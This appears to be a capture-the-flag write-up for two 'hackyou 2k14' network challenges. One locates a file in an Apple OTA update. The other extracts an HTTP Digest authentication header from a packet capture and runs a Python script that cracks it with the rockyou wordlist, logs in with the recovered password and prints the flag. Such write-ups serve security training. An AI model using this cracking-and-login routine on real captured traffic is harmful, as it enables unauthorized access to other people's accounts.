# hackyou 2k14: Network - Jailbreaker (200 points)

There was a nice Christmas release from Evad3rs to jailbreak iOS 7, but it doesn't handle my Apple TV 3G!
Develop an Apple TV jailbreak real quick, and prove filesystem access by showing me any internal system binary from the latest firmware.

Send as attachment to net200@ctf.su
(and allow some time for manual check)

# wget http://appldnld.apple.com/iOS7/031-2705.20140120.R10Fe/com_apple_MobileAsset_SoftwareUpdate/3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# unzip 3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# find . -type f | grep replace
./payload/replace/private/etc/fstab

References

http://en.wikipedia.org/wiki/Delta_update
http://theiphonewiki.com/wiki/OTA_Updates

# hackyou 2k14: Network - PCAP (100 points)

# tshark -V -r net100.pcap -R "frame.number==3" | grep Authorization | tr ',' '\n'
    Authorization: Digest username="admin"
 realm="Private Area"
 nonce="1389094144"
 uri="/auth.php"
 response="f86930f9e0466aeced34036bc2f7a346"
 opaque="8be5ca4697def50a128600e8f106efd5"
 qop=auth
 nc=00000001
 cnonce="347278e387a2f030"\r\n
# cat network.py
#!/usr/bin/python

from hashlib import md5

url = 'http://54.201.187.163'
username = 'admin'
realm = 'Private Area'
method = 'GET'
uri = '/auth.php'
nonce = '1389094144'
nc = '00000001'
cnonce = '347278e387a2f030'
qop = 'auth'
response = 'f86930f9e0466aeced34036bc2f7a346'

for password in open('rockyou.txt', 'r'):
   password = password.strip()
   ha1 = md5(username + ':' + realm + ':' + password).hexdigest()
   ha2 = md5(method + ':' + uri).hexdigest()
   res = md5(ha1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + ha2).hexdigest()
   if res == response:
    print password
    import urllib2
    authhandler = urllib2.HTTPDigestAuthHandler()
    authhandler.add_password(realm, url + uri, username, password)
    opener = urllib2.build_opener(authhandler)
    urllib2.install_opener(opener)
    res = urllib2.urlopen(url + uri)
            print res.read()
    break
# ./network.py
cowboy123
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}